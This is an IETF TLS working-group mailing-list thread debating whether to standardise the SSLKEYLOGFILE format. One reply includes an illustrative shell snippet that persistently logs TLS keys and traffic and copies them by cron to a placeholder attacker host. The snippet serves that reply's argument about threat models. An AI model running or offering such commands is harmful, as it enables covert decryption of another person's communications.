I also agree. I understand that according to the draft, the SSL backdoor
feature should only be present in debugging builds, but I am concerned
there will be a big pressure to have it enabled in production builds as
well. Consider the support line call, "I cannot access
https://example.com/";. The support staff will want to tell the customer
to please type "export SSLKEYLOGFILE=/tmp/keys". Of course, this will
have no effect if the feature is not compiled in. Thus the support staff
will ask the production staff to compile it in, because asking the
customer to install the debug version of `browser.exe` or whatever is
way too much bother. Hence the feedback loop, with the backdoor enabled
everywhere.
Some things should not be standardized.
-- Christian Huitema
On 2/21/2025 6:43 AM, Andrei Popov wrote:
I agree with Stephen and Tomas on this one. Additionally, in my opinion, this
WG should not have published any SSLKEYLOGFILE documents, because they
effectively standardize a backdoor.
It is understood that there is a need for debugging, and it is understood that
certain SW vendors want to agree on a common log data format and publish this
format.
However:
- Debugging can (and should) be accomplished without a complete compromise of
the security protocol (arguably, with less ease/convenience).
- Backdoor specifications can be agreed upon outside the IETF process and
published as part of the respective SW vendor's documentation, without
involving the IETF.
Cheers,
Andrei
-----Original Message-----
From: Bellebaum, Thomas <thomas.belleb...@aisec.fraunhofer.de>
Sent: Friday, February 21, 2025 2:18 AM
To: stephen.farr...@cs.tcd.ie; robainloy...@gmail.com; rs...@akamai.com;
hka...@redhat.com
Cc: tls@ietf.org
Subject: [EXTERNAL] [TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE
Formatfor TLS
[You don't often get email from thomas.belleb...@aisec.fraunhofer.de. Learn why
this is important at https://aka.ms/LearnAboutSenderIdentification ]
I disagree with this because if an attacker could write to the
environment variable used by the program or is able to side-load a
library and capture outbound packets, it is very likely that they
already have privileged access to the machine.
I am questioning the threat model. Just like Perfect Forward Secrecy comes at
an unbearable cost if you believe that TLS cannot provide ANY security if you
ever get compromised (The advocate might say: after all, the database is not
encrypted, there are backups, ...).
In that spirit, let us assume that some individual has root access to an
average user's computer.
What could theoretically happen? Anything. Agreed.
What could practically happen? Well, it depends...
Say the user is using Linux (that is what I have, I assume Windows has similar
functionality):
```sh
echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile echo "tcpdump -w /tmp/traffic &" >>
/etc/profile echo "0 * * * * scp /tmp/keys /tmp/traffic u...@attacker.com:~/" >> /etc/crontab ``` (You get the
point. Let us assume that the kinks would be filtered out before deploying :) )
This is simple enough to fit in a forum post and fortunately for our attacker,
the TCP dumps can now be automatically parsed using a range of tools since all
relevant protocols (TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented.
Next, let us go out of our way and assume that interoperable file formats did
not exist.
Again, in theory, our attacker could replace programs to leak the keys,
side-load a library, perform memory dumps and analyze them, etc.
Is he going to do that, though?
All the above methods do not scale to many programs at once. In each case, an
attacker would first need to figure out a way to do that (and do it reliably in
an automated fashion).
It would suprise me to learn that the same potential would rest in three lines
of shell code.
Yes, state level actors, etc. have enough resources to not care. How about an
abusive partner in your relationship? A bit of frustration on their side might
go a long way.
This is the difference I am worried about. It is not quantifiable in the
cryptographic sense (Any attacker with resources X has probability < Y to
achieve Z), but it is relevant in practice.
We can make the adversary work a bit harder using very simple measures. For
instance, by suggesting that applications should notify their users if this
method is used, the above gain disappears.
Cost: An extra if clause in the code to display the happy green location bar.
Effect: Can hardly be less than that.
There already is widely deployed software that leaks key information.
OpenSSL has a trace facility, normally compiled out, that reports
PKCS#12 passwords[1]. The keylog stuff *is* compiled-out by default.
The OpenSSL library also provides a register-callback function that
will get private key material and that is always enabled which the
OpenSSL project does not consider a security risk[2]. I assume OpenSSL
qualifies as widely-deployed. :)
This is scary as well. I did not know that :) Still, this is one
implementation. We are considering interoperability-enabling documents.
If misuse of this API should become a real-world issue, the OpenSSL project
will almost certainly be able to remidy it faster than the IETF.
_______________________________________________
TLS mailing list -- tls@ietf.org
To unsubscribe send an email to tls-le...@ietf.org
_______________________________________________
TLS mailing list -- tls@ietf.org
To unsubscribe send an email to tls-le...@ietf.org
